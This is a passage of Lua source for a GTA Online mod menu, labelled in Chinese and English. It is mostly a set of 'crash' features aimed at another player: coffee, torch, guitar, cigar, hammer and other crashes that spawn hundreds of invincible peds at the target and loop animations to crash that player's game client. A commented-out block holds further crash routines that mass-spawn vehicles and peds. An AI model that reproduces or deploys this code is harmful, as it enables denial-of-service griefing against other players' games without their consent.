            menu.trigger_commands("noentities")
            wait(10)
            menu.trigger_commands("noentities")
            wait()
            end
        end)

local peds = 5
GTLuaScript.slider(standbk, "咖啡杯数量", {"nocoffeecups"}, "Sends Coffee crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"coffeecrash"}, "It's risky to spectate using this but your call", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("s_m_y_chef_01")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_DRINKING", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("p_amb_coffeecup_01") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "火炬数量", {"notorches"}, "Sends Torch crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"torchcrash"}, "It's risky to spectate using this but your call", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("s_m_y_chef_01")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_WELDING", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_weld_torch") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 64
GTLuaScript.slider(standbk, "吉他和邦戈斯的数量", {"noguitarsnbongos"}, "Sends Guitar & Bongos crash.", 1, 1024, 1024, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"lovebar"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("IG_Musician_00")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_MUSICIAN", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_acc_guitar_01") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "雪茄数量", {"nocigars"}, "Sends Cigar crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"cigarscrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("A_F_Y_BevHills_02")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_SMOKING", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("ng_proc_cigarette01a") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "Spatula数量", {"nospatulars"}, "Sends Spatula crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"spatularcrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("ig_siemonyetarian")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "PROP_HUMAN_BBQ", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_fish_slice_01") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "杠铃数量", {"nobarbell"}, "Sends Barbell crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"barbellcrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("A_F_M_BodyBuild_01")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_MUSCLE_FREE_WEIGHTS", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_barbell_02") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "锤子数量", {"nohammers"}, "Sends Hammers crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"hammercrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("s_m_y_construct_02")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_HAMMERING", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_tool_hammer") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "钓鱼杆数量", {"norods"}, "Sends Fishing crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"fishingcrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("s_m_m_cntrybar_01")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_STAND_FISHING", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_fishing_rod_02") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "Jack Hammmers的数量", {"nojacks"}, "Sends Jack Hammmer crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"jackhammercrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("s_m_y_construct_01")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_CONST_DRILL", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_tool_jackham") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "扫帚数量", {"nobrooms"}, "Sends Broom crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"broomcrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("csb_janitor")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_JANITOR", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_tool_broom") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "俄罗斯酒鬼数量", {"nodrunks"}, "Sends Russian Drunk crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"drunkcrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("ig_russiandrunk")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_DRINKING", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_amb_40oz_02") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

local peds = 5
GTLuaScript.slider(standbk, "镘刀数量", {"notrowels"}, "Sends Trowel crash.", 1, 200, 200, 1, function(amount)
    peds = amount
end)

local crash_ents = {}
local crash_toggle = false
GTTG(standbk, "开始", {"trowelcrash"}, "", function(val)
    crash_toggle = val
        if val then
            local number_of_peds = peds
            local ped_mdl = util.joaat("s_m_m_gardener_01")
            local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local ped_pos = players.get_position(PlayerID)
            ped_pos.z += 3
            request_model(ped_mdl)
            for i = 1, number_of_peds do
                local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                crash_ents[i] = ped
                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                ENTITY.SET_ENTITY_VISIBLE(ped, true)
            end
            repeat
                for k, ped in crash_ents do
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_GARDENER_PLANT", 0, false)
                end
                for k, v in entities.get_all_objects_as_pointers() do
                    if entities.get_model_hash(v) == util.joaat("prop_cs_trowel") then
                    end
                end
                wait()
                wait()
            until not (crash_toggle and players.exists(PlayerID))
            crash_toggle = false
            for k, obj in crash_ents do
            end
            crash_ents = {}
        else
            for k, obj in crash_ents do
            end
            crash_ents = {}
        end
end)

GTLP(standbk, "删除实体生成", {"noentities"}, "De spawns all entites.", function(on_loop)
    local ct = 0
    for k,ent in pairs(entities.get_all_vehicles_as_handles()) do
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
        entities.delete_by_handle(ent)

        ct = ct + 1
    end
    for k,ent in pairs(entities.get_all_peds_as_handles()) do
        if not PED.IS_PED_A_PLAYER(ent) then
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)

        end
        ct = ct + 1
    end
    for k,ent in pairs(entities.get_all_objects_as_handles()) do
        if ent ~= PLAYER.PLAYER_PED_ID() then
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            ct = ct + 1
        end
    end
        for k,ent in pairs(entities.get_all_pickups_as_handles()) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            wait()
        return
    end
end)

--[[bengk2t = menu.list(PlayerMainMenu, "怒火崩溃", {}, "")
GTAC(bengk2t,"崩溃2Take1",{},"你猜行不行?",function()
    ENTITY.FREEZE_ENTITY_POSITION(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID),true,false,true)
    pos=ENTITY.GET_ENTITY_COORDS( PLAYER.GET_PLAYER_PED(PlayerID))
    pos.z= pos.z+1000
    for d=1,4 do 
        pos.z= pos.z+20
        for i=1,60 do
            spawn_vehicle(3602674979,pos,true,true)
            wait(50)
            if i==59 then
                util.toast("第"..d.."次发送完成",1)
            end
        end
        wait(3000)
        delete_entity_by_vehicle(-692292317)
        wait(300)
    end
    wait(3000)
    ENTITY.FREEZE_ENTITY_POSITION( PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID),false)
end)

GTAC(bengk2t,"崩溃2TPRO",{},"你猜行不行?",function()
local pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
pos.x = pos.x + 3
local rat <const> = CreatePed(26,util.joaat("a_c_rat"),pos,0)
ENTITY.SET_ENTITY_VISIBLE(rat,false)
local obs <const> = OBJECT.CREATE_OBJECT_NO_OFFSET(1888301071, pos.x, pos.y, pos.z,true,false)
PED.SET_PED_INTO_VEHICLE(rat,obs,-1)
PED.SET_PED_INTO_VEHICLE(players.user_ped(players.user()),obs,-1)
local time <const> = util.current_time_millis() + 3500
while time > util.current_time_millis() do
ENTITY.ATTACH_ENTITY_BONE_TO_ENTITY_BONE_Y_FORWARD(obs, 0, 0, true, true)
wait(100)
TASK.CLEAR_PED_TASKS_IMMEDIATELY(rat)
TASK.TASK_LEAVE_VEHICLE(rat, obs, 0)
wait(5)
end
entities.delete_by_handle(rat)
end)

GTAC(bengk2t,"崩溃2TMAX",{},"你猜行不行?",function() 
local pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) pos.x = pos.x + 3
local model = {util.joaat("cs_wade"),util.joaat("a_c_rat")}
for _spawn, value in pairs(model) do
local task_crash = {}
task_crash[_spawn] = CreatePed(26,value,pos,0)
ENTITY.FREEZE_ENTITY_POSITION(task_crash[_spawn],true)
for start, value1 in pairs(task_crash) do
    local play = {}
WEAPON.GIVE_DELAYED_WEAPON_TO_PED(value1, util.joaat("weapon_pistol"), 0, true)
    wait(200)
play[start] = MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z+1, pos.x, pos.y, pos.z, 0, true, 453432689, model, true, false, 100)
    wait(500)
ENTITY.FREEZE_ENTITY_POSITION(value1,false)
end
    wait(1000)
end
end)

GTAC(bengk2t,"崩溃2TPROMAX",{},"你猜行不行?",function()  
local pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
pos.x = pos.x + 3
local sb_ped <const> = CreatePed(26,util.joaat("a_c_rat"),pos,0)
local crash_plane <const> = CreateVehicle(0x9c5e5644,pos,0)
PED.SET_PED_INTO_VEHICLE(sb_ped,crash_plane,-1)
PED.SET_PED_INTO_VEHICLE(players.user_ped(players.user()),crash_plane,-1)
ENTITY.FREEZE_ENTITY_POSITION(crash_plane,true)
local time <const> = util.current_time_millis() + 3500
TASK.TASK_OPEN_VEHICLE_DOOR(players.user_ped(players.user()), crash_plane, 9999, -1, 2)
while time > util.current_time_millis() do
TASK.TASK_LEAVE_VEHICLE(sb_ped, crash_plane, 0)
wait(5)
end
entities.delete_by_handle(sb_ped)
end)

GTAC(bengk2t, "Big崩溃", {""}, "请勿对自己使用", function()
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local pos = ENTITY.GET_ENTITY_COORDS(ped, true)
    local mdl = util.joaat("A_C_Cat_01")
    local mdl2 = util.joaat("U_M_Y_Zombie_01")
    local mdl3 = util.joaat("A_F_M_ProlHost_01")
    local mdl4 = util.joaat("A_M_M_SouCent_01")
    local veh_mdl = util.joaat("insurgent2")
    local veh_mdl2 = util.joaat("brawler")
    local animation_tonta = ("anim@mp_player_intupperstinker")
    request_model(animation_tonta)
    util.request_model(veh_mdl)
    util.request_model(veh_mdl2)
    util.request_model(mdl)
    util.request_model(mdl2)
    util.request_model(mdl3)
    util.request_model(mdl4)
    for i = 1, 250 do
        local ped1 = entities.create_ped(1, mdl, pos, 0)
        local ped_ = entities.create_ped(1, mdl2, pos, 0)
        local ped3 = entities.create_ped(1, mdl3, pos, 0)
        local ped3 = entities.create_ped(1, mdl4, pos, 0)
        local veh = entities.create_vehicle(veh_mdl, pos, 0)
        local veh2 = entities.create_vehicle(veh_mdl2, pos, 0)
        wait(100)
        PED.SET_PED_INTO_VEHICLE(ped1, veh, -1)
        PED.SET_PED_INTO_VEHICLE(ped_, veh, -1)

        PED.SET_PED_INTO_VEHICLE(ped1, veh2, -1)
        PED.SET_PED_INTO_VEHICLE(ped_, veh2, -1)

        PED.SET_PED_INTO_VEHICLE(ped1, veh, -1)
        PED.SET_PED_INTO_VEHICLE(ped_, veh, -1)

        PED.SET_PED_INTO_VEHICLE(ped1, veh2, -1)
        PED.SET_PED_INTO_VEHICLE(ped_, veh2, -1)
        
        PED.SET_PED_INTO_VEHICLE(mdl3, veh, -1)
        PED.SET_PED_INTO_VEHICLE(mdl3, veh2, -1)

        PED.SET_PED_INTO_VEHICLE(mdl4, veh, -1)
        PED.SET_PED_INTO_VEHICLE(mdl4, veh2, -1)

        TASK.TASK_VEHICLE_HELI_PROTECT(ped1, veh, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(ped_, veh, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(ped1, veh2, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(ped_, veh2, ped, 10.0, 0, 10, 0, 0)

        TASK.TASK_VEHICLE_HELI_PROTECT(mdl3, veh, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(mdl3, veh2, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(mdl4, veh, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(mdl4, veh2, ped, 10.0, 0, 10, 0, 0)

        TASK.TASK_VEHICLE_HELI_PROTECT(ped1, veh, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(ped_, veh, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(ped1, veh2, ped, 10.0, 0, 10, 0, 0)
        TASK.TASK_VEHICLE_HELI_PROTECT(ped_, veh2, ped, 10.0, 0, 10, 0, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl, 0, 2, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl, 0, 1, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl, 0, 0, 0)

        PED.SET_PED_COMPONENT_VARIATION(mdl2, 0, 2, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl2, 0, 1, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl2, 0, 0, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl3, 0, 2, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl3, 0, 1, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl3, 0, 0, 0)
        
        PED.SET_PED_COMPONENT_VARIATION(mdl4, 0, 2, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl4, 0, 1, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl4, 0, 0, 0)

        TASK.CLEAR_PED_TASKS_IMMEDIATELY(mdl)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(mdl2)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl2, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl2, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl2, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl3, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl4, animation_tonta, 0, false)

        ENTITY.SET_ENTITY_HEALTH(mdl, false, 200)
        ENTITY.SET_ENTITY_HEALTH(mdl2, false, 200)
        ENTITY.SET_ENTITY_HEALTH(mdl3, false, 200)
        ENTITY.SET_ENTITY_HEALTH(mdl4, false, 200)

        PED.SET_PED_COMPONENT_VARIATION(mdl, 0, 2, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl, 0, 1, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl, 0, 0, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl2, 0, 2, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl2, 0, 1, 0)
        PED.SET_PED_COMPONENT_VARIATION(mdl2, 0, 0, 0)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(mdl2)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl2, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl2, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(mdl3, animation_tonta, 0, false)
        PED.SET_PED_INTO_VEHICLE(mdl, veh, -1)
        PED.SET_PED_INTO_VEHICLE(mdl2, veh, -1)
        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl2, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl2, animation_tonta, 0, false)
        wait(200)
